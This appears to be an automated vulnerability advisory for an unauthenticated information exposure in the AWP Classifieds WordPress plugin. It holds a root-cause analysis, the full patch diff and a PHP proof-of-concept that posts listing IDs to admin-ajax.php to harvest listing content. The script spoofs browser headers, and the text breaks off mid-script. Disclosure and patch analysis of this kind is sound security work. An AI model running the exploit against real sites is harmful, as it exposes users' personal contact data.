Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24593: AWP Classifieds <= 4.4.3 – Unauthenticated Information Exposure (another-wordpress-classifieds-plugin)

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 4.4.3
Patched Version 4.4.4
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24593:
The AWP Classifieds plugin for WordPress versions up to and including 4.4.3 contains an unauthenticated information exposure vulnerability. This flaw allows attackers to extract sensitive user or configuration data without authentication. The vulnerability resides in the listing preview generation functionality, which lacked proper authorization checks.

Root Cause:
The vulnerability exists in the `AWPCP_GenerateListingPreviewAjaxHandler` class within `/includes/frontend/class-generate-listing-preview-ajax-handler.php`. The `ajax()` method (lines 44-54) directly processes user-supplied listing IDs without verifying the requester’s authorization. The method accepts a POST parameter `ad_id` and retrieves the corresponding listing object. No nonce verification or user permission checks were performed before rendering the listing content. This allowed unauthenticated users to access potentially sensitive listing details.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `awpcp-generate-listing-preview`. The request must include the `ad_id` parameter containing the numeric ID of any existing listing. The vulnerable endpoint returns the full rendered content of the specified listing, which may contain sensitive user information, contact details, or configuration data. No authentication or nonce is required.

Patch Analysis:
The patch in version 4.4.4 adds comprehensive authorization checks to the listing preview generation process. The `ajax()` method now calls `try_to_generate_listing_preview()` (lines 51-71), which performs two critical validations. First, it verifies a nonce parameter against `awpcp-save-listing-information-{$listing->ID}` (line 69). Second, it calls `is_current_user_allowed_to_preview_listing()` (lines 73-90) to check user permissions. This method allows previews only for logged-in users with edit permissions or for auto-draft listings. The patch also adds the missing `ListingAuthorization` dependency to the handler’s constructor.

Impact:
Successful exploitation allows unauthenticated attackers to extract sensitive information from any listing in the system. This includes user contact information, email addresses, phone numbers, physical addresses, and potentially confidential business details. The exposed data could facilitate social engineering attacks, spam campaigns, or identity theft. With a CVSS score of 5.3, this represents a moderate risk to data confidentiality.

Differential between vulnerable and patched code

Code Diff
--- a/another-wordpress-classifieds-plugin/awpcp.php
+++ b/another-wordpress-classifieds-plugin/awpcp.php
@@ -5,7 +5,7 @@
  * Plugin Name: AWP Classifieds
  * Plugin URI: https://awpcp.com/
  * Description: Run a free or paid classified ads service on your WordPress site.
- * Version: 4.4.3
+ * Version: 4.4.4
  * Author: AWP Classifieds Team
  * Author URI: https://awpcp.com/
  * License: GPLv2 or later
@@ -60,7 +60,7 @@
 global $hasregionsmodule;
 global $hasextrafieldsmodule;

-$awpcp_db_version = '4.4.3';
+$awpcp_db_version = '4.4.4';

 $awpcp_imagesurl      = AWPCP_URL . '/resources/images';
 $hascaticonsmodule    = 0;
--- a/another-wordpress-classifieds-plugin/frontend/page-place-ad.php
+++ b/another-wordpress-classifieds-plugin/frontend/page-place-ad.php
@@ -1201,6 +1201,9 @@
     protected function prepare_ad_details($details, $characters) {
         $allow_html = (bool) get_awpcp_option('allowhtmlinadtext');

+        // Strip shortcodes to prevent execution of [embed] and other shortcodes in user-submitted content (SSRF prevention).
+        $details = strip_shortcodes( $details );
+
         if (!$allow_html) {
             $details = wp_strip_all_tags( $details );
         } else {
--- a/another-wordpress-classifieds-plugin/frontend/templates/payments-payment-completed-page.tpl.php
+++ b/another-wordpress-classifieds-plugin/frontend/templates/payments-payment-completed-page.tpl.php
@@ -18,7 +18,7 @@
     <input type="hidden" value="<?php echo esc_attr($value) ?>" name="<?php echo esc_attr($name) ?>">
     <?php endforeach ?>

-    <?php if ($success): ?>
+    <?php if ( $success && empty( $pending_verification ) ) : ?>
     <p class="awpcp-form-submit">
         <input class="button" type="submit" value="<?php esc_attr_e( 'Continue', 'another-wordpress-classifieds-plugin' ); ?>" id="submit" name="submit">
     </p>
--- a/another-wordpress-classifieds-plugin/frontend/widget-categories.php
+++ b/another-wordpress-classifieds-plugin/frontend/widget-categories.php
@@ -7,9 +7,30 @@

 class AWPCP_CategoriesWidget extends WP_Widget {

+    private static $translated = false;
     public function __construct() {
-        $description = __( 'Displays a list of Ad categories.', 'another-wordpress-classifieds-plugin');
-        parent::__construct( 'awpcp-categories', __( 'AWPCP Categories', 'another-wordpress-classifieds-plugin' ), array('description' => $description));
+        parent::__construct(
+            'awpcp-categories',
+            'AWPCP Categories',
+            array( 'description' => 'Displays a list of Ad categories.' )
+        );
+
+        if ( ! self::$translated ) {
+            add_action( 'admin_init', [ $this, 'set_translated_strings' ] );
+            self::$translated = true;
+        }
+    }
+
+    /**
+     * Sets translated widget name and description after translations are loaded.
+     *
+     * @since 4.4.4
+     *
+     * @return void
+     */
+    public function set_translated_strings() {
+        $this->name                          = __( 'AWPCP Categories', 'another-wordpress-classifieds-plugin' );
+        $this->widget_options['description'] = __( 'Displays a list of Ad categories.', 'another-wordpress-classifieds-plugin' );
     }

     protected function defaults() {
--- a/another-wordpress-classifieds-plugin/frontend/widget-latest-ads.php
+++ b/another-wordpress-classifieds-plugin/frontend/widget-latest-ads.php
@@ -12,19 +12,42 @@
  */
 class AWPCP_LatestAdsWidget extends WP_Widget {

+    private static $translated = false;
     protected $listing_renderer;
     protected $attachment_properties;
     protected $attachments;

-    public function __construct($id=null, $name=null, $description=null) {
-        $id = is_null($id) ? 'awpcp-latest-ads': $id;
-        $name = is_null($name) ? __( 'AWPCP Latest Ads', 'another-wordpress-classifieds-plugin') : $name;
-        $description = is_null($description) ? __( 'Displays a list of latest Ads', 'another-wordpress-classifieds-plugin') : $description;
-        parent::__construct($id, $name, array('description' => $description));
+    public function __construct( $id = null, $name = null, $description = null ) {
+        $id          = is_null( $id ) ? 'awpcp-latest-ads' : $id;
+        $name        = is_null( $name ) ? 'AWPCP Latest Ads' : $name;
+        $description = is_null( $description ) ? 'Displays a list of latest Ads' : $description;

-        $this->listing_renderer = awpcp_listing_renderer();
+        parent::__construct(
+            $id,
+            $name,
+            array( 'description' => $description )
+        );
+
+        if ( ! self::$translated ) {
+            add_action( 'admin_init', [ $this, 'set_translated_strings' ] );
+            self::$translated = true;
+        }
+
+        $this->listing_renderer      = awpcp_listing_renderer();
         $this->attachment_properties = awpcp_attachment_properties();
-        $this->attachments = awpcp_attachments_collection();
+        $this->attachments           = awpcp_attachments_collection();
+    }
+
+    /**
+     * Sets translated widget name and description after translations are loaded.
+     *
+     * @since 4.4.4
+     *
+     * @return void
+     */
+    public function set_translated_strings() {
+        $this->name                            = __( 'AWPCP Latest Ads', 'another-wordpress-classifieds-plugin' );
+        $this->widget_options['description']   = __( 'Displays a list of latest Ads', 'another-wordpress-classifieds-plugin' );
     }

     protected function defaults() {
--- a/another-wordpress-classifieds-plugin/frontend/widget-random-ad.php
+++ b/another-wordpress-classifieds-plugin/frontend/widget-random-ad.php
@@ -12,12 +12,31 @@
  */
 class AWPCP_RandomAdWidget extends AWPCP_LatestAdsWidget {

+    private static $random_translated = false;
+
     public function __construct() {
         parent::__construct(
             'awpcp-random-ads',
-            __( 'AWPCP Random Ads', 'another-wordpress-classifieds-plugin' ),
-            __( 'Displays a list of random Ads', 'another-wordpress-classifieds-plugin' )
+            'AWPCP Random Ads',
+            'Displays a list of random Ads'
         );
+
+        if ( ! self::$random_translated ) {
+            add_action( 'admin_init', [ $this, 'set_random_translated_strings' ] );
+            self::$random_translated = true;
+        }
+    }
+
+    /**
+     * Sets translated widget name and description after translations are loaded.
+     *
+     * @since 4.4.4
+     *
+     * @return void
+     */
+    public function set_random_translated_strings() {
+        $this->name                          = __( 'AWPCP Random Ads', 'another-wordpress-classifieds-plugin' );
+        $this->widget_options['description'] = __( 'Displays a list of random Ads', 'another-wordpress-classifieds-plugin' );
     }

     protected function defaults() {
--- a/another-wordpress-classifieds-plugin/frontend/widget-search.php
+++ b/another-wordpress-classifieds-plugin/frontend/widget-search.php
@@ -9,8 +9,29 @@

 class AWPCP_Search_Widget extends WP_Widget {

+    private static $translated = false;
     public function __construct() {
-        parent::__construct(false, __( 'AWPCP Search Ads', 'another-wordpress-classifieds-plugin'));
+        parent::__construct(
+            false,
+            'AWPCP Search Ads',
+            []
+        );
+
+        if ( ! self::$translated ) {
+            add_action( 'admin_init', [ $this, 'set_translated_strings' ] );
+            self::$translated = true;
+        }
+    }
+
+    /**
+     * Sets translated widget name and description after translations are loaded.
+     *
+     * @since 4.4.4
+     *
+     * @return void
+     */
+    public function set_translated_strings() {
+        $this->name = __( 'AWPCP Search Ads', 'another-wordpress-classifieds-plugin' );
     }

     /**
--- a/another-wordpress-classifieds-plugin/functions.php
+++ b/another-wordpress-classifieds-plugin/functions.php
@@ -1589,6 +1589,8 @@
  * @access private
  */
 function awpcp_get_formmatted_amount( $value, $template ) {
+    $value = (float) $value;
+
     if ( $value < 0 ) {
         return '(' . str_replace( '<amount>', awpcp_format_number( $value ), $template ) . ')';
     } else {
--- a/another-wordpress-classifieds-plugin/includes/class-awpcp.php
+++ b/another-wordpress-classifieds-plugin/includes/class-awpcp.php
@@ -216,7 +216,7 @@
             // actions and filters from functions_awpcp.php
             add_action('phpmailer_init','awpcp_phpmailer_init_smtp');

-            add_action('widgets_init', array($this, 'register_widgets'));
+            add_action( 'widgets_init', array( $this, 'register_widgets' ) );

             awpcp_schedule_activation();

@@ -1133,6 +1133,14 @@
         }

         wp_register_script(
+            'moment',
+            "$vendors/moment-2.22.2/moment-with-locales.min.js",
+            [],
+            '2.22.2',
+            true
+        );
+
+        wp_register_script(
             'daterangepicker',
             "$vendors/daterangepicker/daterangepicker.min.js",
             [ 'jquery', 'moment' ],
@@ -1142,7 +1150,7 @@

         wp_register_style(
             'daterangepicker',
-            "$vendors/daterangepicker.min.css",
+            "$vendors/daterangepicker/daterangepicker.min.css",
             [],
             '3.0.3'
         );
--- a/another-wordpress-classifieds-plugin/includes/class-categories-list-cache.php
+++ b/another-wordpress-classifieds-plugin/includes/class-categories-list-cache.php
@@ -32,6 +32,7 @@
      */
     public function clear() {
         $transient_keys = get_option( 'awpcp-categories-list-cache-keys', array() );
+        $transient_keys = is_array( $transient_keys ) ? $transient_keys : array();

         foreach ( $transient_keys as $transient_key ) {
             delete_transient( $transient_key );
--- a/another-wordpress-classifieds-plugin/includes/compatibility/class-plugin-integrations.php
+++ b/another-wordpress-classifieds-plugin/includes/compatibility/class-plugin-integrations.php
@@ -33,7 +33,9 @@
     }

     public function get_enabled_plugin_integrations() {
-        return get_option( 'awpcp_plugin_integrations', array() );
+        $integrations = get_option( 'awpcp_plugin_integrations', array() );
+
+        return is_array( $integrations ) ? $integrations : array();
     }

     public function maybe_disable_plugin_integration( $plugin ) {
@@ -65,11 +67,17 @@
     public function discover_supported_plugin_integrations() {
         delete_option( 'awpcp_plugin_integrations' );

-        foreach ( get_option( 'active_plugins', array() ) as $plugin ) {
+        $active_plugins = get_option( 'active_plugins', array() );
+        $active_plugins = is_array( $active_plugins ) ? $active_plugins : array();
+
+        foreach ( $active_plugins as $plugin ) {
             $this->maybe_enable_plugin_integration( $plugin, false );
         }

-        foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin ) {
+        $sitewide_plugins = get_option( 'active_sitewide_plugins', array() );
+        $sitewide_plugins = is_array( $sitewide_plugins ) ? $sitewide_plugins : array();
+
+        foreach ( $sitewide_plugins as $plugin ) {
             $this->maybe_enable_plugin_integration( $plugin, true );
         }
     }
--- a/another-wordpress-classifieds-plugin/includes/frontend/class-frontend-container-configuration.php
+++ b/another-wordpress-classifieds-plugin/includes/frontend/class-frontend-container-configuration.php
@@ -190,6 +190,7 @@
             return new AWPCP_GenerateListingPreviewAjaxHandler(
                 $container['ListingsContentRenderer'],
                 $container['ListingsCollection'],
+                $container['ListingAuthorization'],
                 awpcp_ajax_response(),
                 $container['Request']
             );
--- a/another-wordpress-classifieds-plugin/includes/frontend/class-generate-listing-preview-ajax-handler.php
+++ b/another-wordpress-classifieds-plugin/includes/frontend/class-generate-listing-preview-ajax-handler.php
@@ -23,6 +23,11 @@
     private $listings;

     /**
+     * @var AWPCP_ListingAuthorization
+     */
+    private $authorization;
+
+    /**
      * @var AWPCP_Request
      */
     private $request;
@@ -30,11 +35,12 @@
     /**
      * @since 4.0.0
      */
-    public function __construct( $listings_content_renderer, $listings, $response, $request ) {
+    public function __construct( $listings_content_renderer, $listings, $authorization, $response, $request ) {
         parent::__construct( $response );

         $this->listings_content_renderer = $listings_content_renderer;
         $this->listings                  = $listings;
+        $this->authorization             = $authorization;
         $this->request                   = $request;
     }

@@ -45,11 +51,52 @@
      * @since 4.0.0
      */
     public function ajax() {
+        try {
+            return $this->try_to_generate_listing_preview();
+        } catch ( AWPCP_Exception $e ) {
+            return $this->multiple_errors_response( $e->getMessage() );
+        }
+    }
+
+    /**
+     * Generates the listing preview after verifying authorization.
+     *
+     * @since 4.4.4
+     * @throws AWPCP_Exception If authorization fails.
+     */
+    private function try_to_generate_listing_preview() {
         $listing_id = $this->request->post( 'ad_id' );
         $listing    = $this->listings->get( $listing_id );
-        $content    = apply_filters( 'the_content', $listing->post_content );
-        $preview    = $this->listings_content_renderer->render_content_without_notices( $content, $listing );
+        $nonce      = $this->request->post( 'nonce' );
+
+        if ( ! wp_verify_nonce( $nonce, "awpcp-save-listing-information-{$listing->ID}" ) ) {
+            throw new AWPCP_Exception( esc_html__( 'You are not authorized to perform this action.', 'another-wordpress-classifieds-plugin' ) );
+        }
+
+        if ( ! $this->is_current_user_allowed_to_preview_listing( $listing ) ) {
+            throw new AWPCP_Exception( esc_html__( 'You are not authorized to perform this action.', 'another-wordpress-classifieds-plugin' ) );
+        }
+
+        $content = apply_filters( 'the_content', $listing->post_content );
+        $preview = $this->listings_content_renderer->render_content_without_notices( $content, $listing );

         return $this->success( [ 'preview' => $preview ] );
     }
+
+    /**
+     * Checks whether the current user is allowed to preview the listing.
+     *
+     * @since 4.4.4
+     *
+     * @param WP_Post $listing The listing post object.
+     *
+     * @return bool
+     */
+    private function is_current_user_allowed_to_preview_listing( $listing ) {
+        if ( is_user_logged_in() ) {
+            return $this->authorization->is_current_user_allowed_to_edit_listing( $listing );
+        }
+
+        return 'auto-draft' === $listing->post_status;
+    }
 }
--- a/another-wordpress-classifieds-plugin/includes/frontend/class-listing-posted-data.php
+++ b/another-wordpress-classifieds-plugin/includes/frontend/class-listing-posted-data.php
@@ -178,6 +178,9 @@
     private function prepare_content( $content, $characters_allowed ) {
         $allow_html = (bool) get_awpcp_option( 'allowhtmlinadtext' );

+        // Strip shortcodes to prevent execution of [embed] and other shortcodes in user-submitted content (SSRF prevention).
+        $content = strip_shortcodes( $content );
+
         if ( $allow_html ) {
             $content = wp_kses_post( $content );
         } else {
--- a/another-wordpress-classifieds-plugin/includes/functions/payments.php
+++ b/another-wordpress-classifieds-plugin/includes/functions/payments.php
@@ -8,24 +8,113 @@
  * Verify data received from PayPal IPN notifications and returns PayPal's
  * response.
  *
+ * PayPal requires byte-for-byte verification, so we read the raw POST body
+ * from php://input and send it back exactly as received, prepended with
+ * cmd=_notify-validate.
+ *
  * Request errors, if any, are returned by reference.
  *
  * @since 2.0.7
  *
- * @return string VERIFIED, INVALID or ERROR
+ * @param array $data   Deprecated. No longer used. Raw body is read from php://input.
+ * @param array $errors Request errors, returned by reference.
+ * @return string VERIFIED, INVALID or ERROR.
  */
-function awpcp_paypal_verify_received_data($data=array(), &$errors=array()) {
-    $content = 'cmd=_notify-validate';
-    foreach ($data as $key => $value) {
-        $value    = rawurlencode(stripslashes($value));
-        $content .= "&$key=$value";
+function awpcp_paypal_verify_received_data( $data = array(), &$errors = array() ) {
+    // Read the raw POST body exactly as PayPal sent it.
+    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+    $raw_post_body = file_get_contents( 'php://input' );
+
+    // If no raw body, this might be a connectivity test from the debug page.
+    if ( empty( $raw_post_body ) ) {
+        return awpcp_paypal_test_connection( $errors );
     }

-    // Use WordPress HTTP API for all verification requests
+    // Prepend the validation command to the exact bytes received.
+    $content = 'cmd=_notify-validate&' . $raw_post_body;
+
+    // Use WordPress HTTP API for verification requests.
+    return awpcp_paypal_verify_received_data_with_wp_http( $content, $errors );
+}
+
+/**
+ * Test PayPal IPN endpoint connectivity.
+ *
+ * Sends a minimal request to PayPal's IPN endpoint to verify the server
+ * can communicate with PayPal. Used by the debug page.
+ *
+ * @since 4.4.4
+ *
+ * @param array $errors Request errors, returned by reference.
+ * @return string INVALID if connection works (expected response), ERROR otherwise.
+ */
+function awpcp_paypal_test_connection( &$errors = array() ) {
+    // Send a minimal validation request to test connectivity.
+    // PayPal will return INVALID since there's no real transaction, but that confirms connectivity.
+    $content = 'cmd=_notify-validate';
+
     return awpcp_paypal_verify_received_data_with_wp_http( $content, $errors );
 }

 /**
+ * Verify data received from PayPal IPN using the WordPress HTTP API.
+ *
+ * This function was added to replace the legacy functions
+ * awpcp_paypal_verify_received_data_with_curl() and
+ * awpcp_paypal_verify_received_data_with_fsockopen().
+ *
+ * @since 4.4.4
+ *
+ * @param string $postfields IPN request payload.
+ * @param array  $errors     Request errors, returned by reference.
+ * @return string VERIFIED, INVALID or ERROR.
+ */
+function awpcp_paypal_verify_received_data_with_wp_http( $postfields = '', &$errors = array() ) {
+    $is_test_mode_enabled = intval( get_awpcp_option( 'paylivetestmode' ) ) === 1;
+
+    $paypal_url = $is_test_mode_enabled
+        ? 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr'
+        : 'https://ipnpb.paypal.com/cgi-bin/webscr';
+
+    $args = array(
+        'method'      => 'POST',
+        'timeout'     => 30,
+        'redirection' => 5,
+        'httpversion' => '1.1',
+        'blocking'    => true,
+        'headers'     => array(
+            'Content-Type' => 'application/x-www-form-urlencoded',
+            'Connection'   => 'close',
+        ),
+        'body'        => $postfields,
+        'cookies'     => array(),
+        'sslverify'   => true,
+    );
+
+    $response = wp_remote_post( $paypal_url, $args );
+
+    if ( is_wp_error( $response ) ) {
+        $errors = array_merge( $errors, $response->get_error_messages() );
+        return 'ERROR';
+    }
+
+    $response_code = wp_remote_retrieve_response_code( $response );
+    if ( 200 !== $response_code ) {
+        $errors[] = sprintf( 'HTTP %d: %s', $response_code, wp_remote_retrieve_response_message( $response ) );
+        return 'ERROR';
+    }
+
+    $response_body = wp_remote_retrieve_body( $response );
+    $response_body = trim( $response_body );
+
+    if ( in_array( $response_body, array( 'VERIFIED', 'INVALID' ), true ) ) {
+        return $response_body;
+    }
+
+    return 'ERROR';
+}
+
+/**
  * Validate the data received from PayFast.
  *
  * @since 3.7.8
@@ -38,7 +127,7 @@
             continue;
         }

-        $content .= $key . '=' . rawurlencode( stripslashes( $value ) ) . '&';
+        $content .= $key . '=' . urlencode( stripslashes( $value ) ) . '&';
     }

     $content = rtrim( $content, '&' );
--- a/another-wordpress-classifieds-plugin/includes/listings/class-listings-content.php
+++ b/another-wordpress-classifieds-plugin/includes/listings/class-listings-content.php
@@ -71,6 +71,16 @@
             return $content;
         }

+        /**
+         * Allow disabling the rendering of shortcodes in listings content.
+         * We run it after the single listing check to avoid unnecessary callbacks.
+         *
+         * @since 4.4.4
+         */
+        if ( apply_filters( 'awpcp_disable_listing_shortcode_stripping', false ) ) {
+            return $content;
+        }
+
         return strip_shortcodes($content);
     }

--- a/another-wordpress-classifieds-plugin/includes/payment-gateway-paypal-standard.php
+++ b/another-wordpress-classifieds-plugin/includes/payment-gateway-paypal-standard.php
@@ -52,8 +52,8 @@
         $verified = $transaction->get( 'verified', false );
         // phpcs:ignore WordPress.Security.NonceVerification
         if ( ! empty( $_POST ) ) {
-            // phpcs:ignore WordPress.Security.NonceVerification
-            $response = awpcp_paypal_verify_received_data( $_POST, $errors );
+            // Verification reads raw body from php://input for byte-for-byte accuracy.
+            $response = awpcp_paypal_verify_received_data( array(), $errors );
             $verified = strcasecmp( $response, 'VERIFIED' ) === 0;
         }

@@ -63,27 +63,33 @@
             $url       = awpcp_current_url();

             if ( $variables <= 0 ) {
-                /* translators: %s link url. */
+                /* translators: %1$s and %2$s are the current URL. */
                 $message  = __( "We haven't received your payment information from PayPal yet and we are unable to verify your transaction. Please reload this page or visit <a href="%1$s">%2$s</a> in 30 seconds to continue placing your Ad.", 'another-wordpress-classifieds-plugin' );
                 $errors[] = sprintf( $message, $url, $url );
-            } else {
-                /* translators: %s status %d variables count. */
-                $message  = __( 'PayPal returned the following status from your payment: %1$s. %2$d payment variables were posted.', 'another-wordpress-classifieds-plugin' );
-                $errors[] = sprintf( $message, $response, $variables );
-                $errors[] = __( 'If this status is not COMPLETED or VERIFIED, then you may need to wait a bit before your payment is approved, or contact PayPal directly as to the reason the payment is having a problem.', 'another-wordpress-classifieds-plugin' );
-            }

-            $errors[] = __( 'If you have any further questions, please contact this site administrator.', 'another-wordpress-classifieds-plugin' );
-
-            if ( $variables <= 0 ) {
                 $transaction->errors['verification-get'] = $errors;
-            } else {
+            } elseif ( 'INVALID' === $response ) {
+                // INVALID on user return is likely a timing issue. Show pending message.
+                $transaction->set( 'pending_verification', true );
+
+                // Don't set errors - we'll show a pending notice instead.
+                unset( $transaction->errors['verification-get'] );
+                unset( $transaction->errors['verification-post'] );
+            } elseif ( 'ERROR' === $response ) {
+                // ERROR means something went wrong with the verification request itself.
+                $errors[] = __( 'There was an error verifying your payment with PayPal. Please wait a moment and refresh this page.', 'another-wordpress-classifieds-plugin' );
+                $errors[] = __( 'If you have any further questions, please contact this site administrator.', 'another-wordpress-classifieds-plugin' );
+
                 $transaction->errors['verification-post'] = $errors;
+
+                // Clear pending verification flag to avoid stale state.
+                $transaction->set( 'pending_verification', false );
             }
         } else {
-            // clean up previous errors.
+            // Clean up previous errors and pending state.
             unset( $transaction->errors['verification-get'] );
             unset( $transaction->errors['verification-post'] );
+            $transaction->set( 'pending_verification', false );
         }

         $txn_id = awpcp_get_var( array( 'param' => 'txn_id' ), 'post' );
@@ -273,6 +279,22 @@
     }

     public function process_payment_completed( $transaction ) {
+        $this->do_process_payment( $transaction, false );
+    }
+
+    public function process_payment_notification( $transaction ) {
+        $this->do_process_payment( $transaction, true );
+    }
+
+    /**
+     * Process the payment verification.
+     *
+     * @since 4.4.4
+     *
+     * @param AWPCP_Payment_Transaction $transaction The payment transaction.
+     * @param bool                      $is_ipn      Whether this is an IPN notification.
+     */
+    private function do_process_payment( $transaction, $is_ipn ) {
         if ( $transaction->get( 'verified', false ) ) {
             return;
         }
@@ -284,15 +306,28 @@

         $response                    = $this->verify_transaction( $transaction );
         $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_UNKNOWN;
+
         if ( 'VERIFIED' === $response ) {
             $this->validate_transaction( $transaction );
-        } elseif ( 'INVALID' === $response ) {
-            $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_INVALID;
+            return;
         }
-    }

-    public function process_payment_notification( $transaction ) {
-        $this->process_payment_completed( $transaction );
+        if ( 'INVALID' === $response ) {
+            if ( $is_ipn ) {
+                // IPN returning INVALID is a real failure from PayPal.
+                $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_INVALID;
+            } else {
+                // User return with INVALID is likely a timing issue. Set to PENDING and wait for IPN.
+                $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_PENDING;
+                $transaction->set( 'pending_verification', true );
+            }
+        } elseif ( 'ERROR' === $response ) {
+            // ERROR means the verification request itself failed (network, server issue, etc.).
+            // Clear pending verification to avoid showing stale pending UI.
+            $transaction->set( 'pending_verification', false );
+
+            // Keep status as UNKNOWN - user can retry by refreshing.
+        }
     }

     public function process_payment_canceled( $transaction ) {
--- a/another-wordpress-classifieds-plugin/includes/payments-api.php
+++ b/another-wordpress-classifieds-plugin/includes/payments-api.php
@@ -927,10 +927,20 @@
     }

     public function render_payment_completed_page($transaction, $action='', $hidden=array()) {
-        $success = false;
-        $text    = '';
+        $success              = false;
+        $text                 = '';
+        $pending_verification = $transaction->get( 'pending_verification', false );
+
+        if ( $pending_verification && $transaction->payment_is_pending() ) {
+            // Payment verification returned INVALID on user return - likely a timing issue.
+            // Show a friendly pending message and auto-refresh to wait for IPN.
+            $title   = __( 'Verifying Your Payment', 'another-wordpress-classifieds-plugin' );
+            $text    = __( 'Your payment is being verified with PayPal. This usually takes just a few seconds. The page will refresh automatically.', 'another-wordpress-classifieds-plugin' );
+            $success = true;

-        if ($transaction->payment_is_completed() || $transaction->payment_is_pending()) {
+            // Add auto-refresh script.
+            add_action( 'wp_footer', array( $this, 'add_pending_verification_refresh_script' ) );
+        } elseif ( $transaction->payment_is_completed() || $transaction->payment_is_pending() ) {
             $title = __( 'Payment Completed', 'another-wordpress-classifieds-plugin');

             if ($transaction->payment_is_completed())
@@ -940,6 +950,9 @@

             $success = true;

+            // Clear the refresh counter since verification completed.
+            add_action( 'wp_footer', array( $this, 'add_clear_pending_verification_script' ) );
+
         } elseif ($transaction->payment_is_not_required()) {
             $title = __( 'Payment Not Required', 'another-wordpress-classifieds-plugin');
             $text = __( 'No Payment is required for this transaction. Please press the button below to continue with the process.', 'another-wordpress-classifieds-plugin');
@@ -994,7 +1007,11 @@
     }

     public function render_payment_completed_page_title($transaction) {
-        if ($transaction->was_payment_successful()) {
+        $pending_verification = $transaction->get( 'pending_verification', false );
+
+        if ( $pending_verification && $transaction->payment_is_pending() ) {
+            return __( 'Verifying Your Payment', 'another-wordpress-classifieds-plugin' );
+        } elseif ($transaction->was_payment_successful()) {
             return __( 'Payment Completed', 'another-wordpress-classifieds-plugin');
         } elseif ($transaction->payment_is_canceled()) {
             return __( 'Payment Canceled', 'another-wordpress-classifieds-plugin');
@@ -1004,4 +1021,57 @@
             return __( 'Payment Failed', 'another-wordpress-classifieds-plugin');
         }
     }
+
+    /**
+     * Output JavaScript to auto-refresh the page while waiting for payment verification.
+     *
+     * @since 4.4.4
+     */
+    public function add_pending_verification_refresh_script() {
+        ?>
+        <script>
+        (function() {
+            const storageKey = 'awpcp_pending_verification_refresh_count';
+            const maxRefreshes = 6;
+            const refreshInterval = 5000; // 5 seconds
+
+            // Get the current count from sessionStorage, defaulting to 0.
+            let refreshCount = parseInt( sessionStorage.getItem( storageKey ) || '0', 10 );
+
+            function refreshPage() {
+                refreshCount++;
+
+                if ( refreshCount <= maxRefreshes ) {
+                    // Save the incremented count before reloading.
+                    sessionStorage.setItem( storageKey, refreshCount.toString() );
+                    window.location.reload();
+                } else {
+                    // Max refreshes reached, clear the counter.
+                    sessionStorage.removeItem( storageKey );
+                }
+            }
+
+            setTimeout( refreshPage, refreshInterval );
+        })();
+        </script>
+        <?php
+    }
+
+    /**
+     * Output JavaScript to clear the pending verification refresh counter.
+     *
+     * Called when payment verification completes successfully to stop any
+     * further auto-refreshes.
+     *
+     * @since 4.4.4
+     */
+    public function add_clear_pending_verification_script() {
+        ?>
+        <script>
+        (function() {
+            sessionStorage.removeItem( 'awpcp_pending_verification_refresh_count' );
+        })();
+        </script>
+        <?php
+    }
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24593 - AWP Classifieds <= 4.4.3 - Unauthenticated Information Exposure

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// The listing ID to target - adjust based on enumeration
$listing_id = 123;

// Prepare the POST data
$post_data = [
    'action' => 'awpcp-generate-listing-preview',
    'ad_id' => $listing_id
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: n";
    
    // Parse JSON response
    $json_response = json_decode($response, true);
    
    if (json_last_error() === JSON_ERROR_NONE && isset($json_response['preview'])) {
        echo "SUCCESS: Retrieved listing preview contentn";
        echo "Preview length: " . strlen($json_response['preview']) . " charactersn";
        // Uncomment to display the actual content:
        // echo "Content preview: " . substr($json_response['preview'], 0, 500) . "...n";
    } else {
        echo "FAILED: Could not retrieve listing previewn";
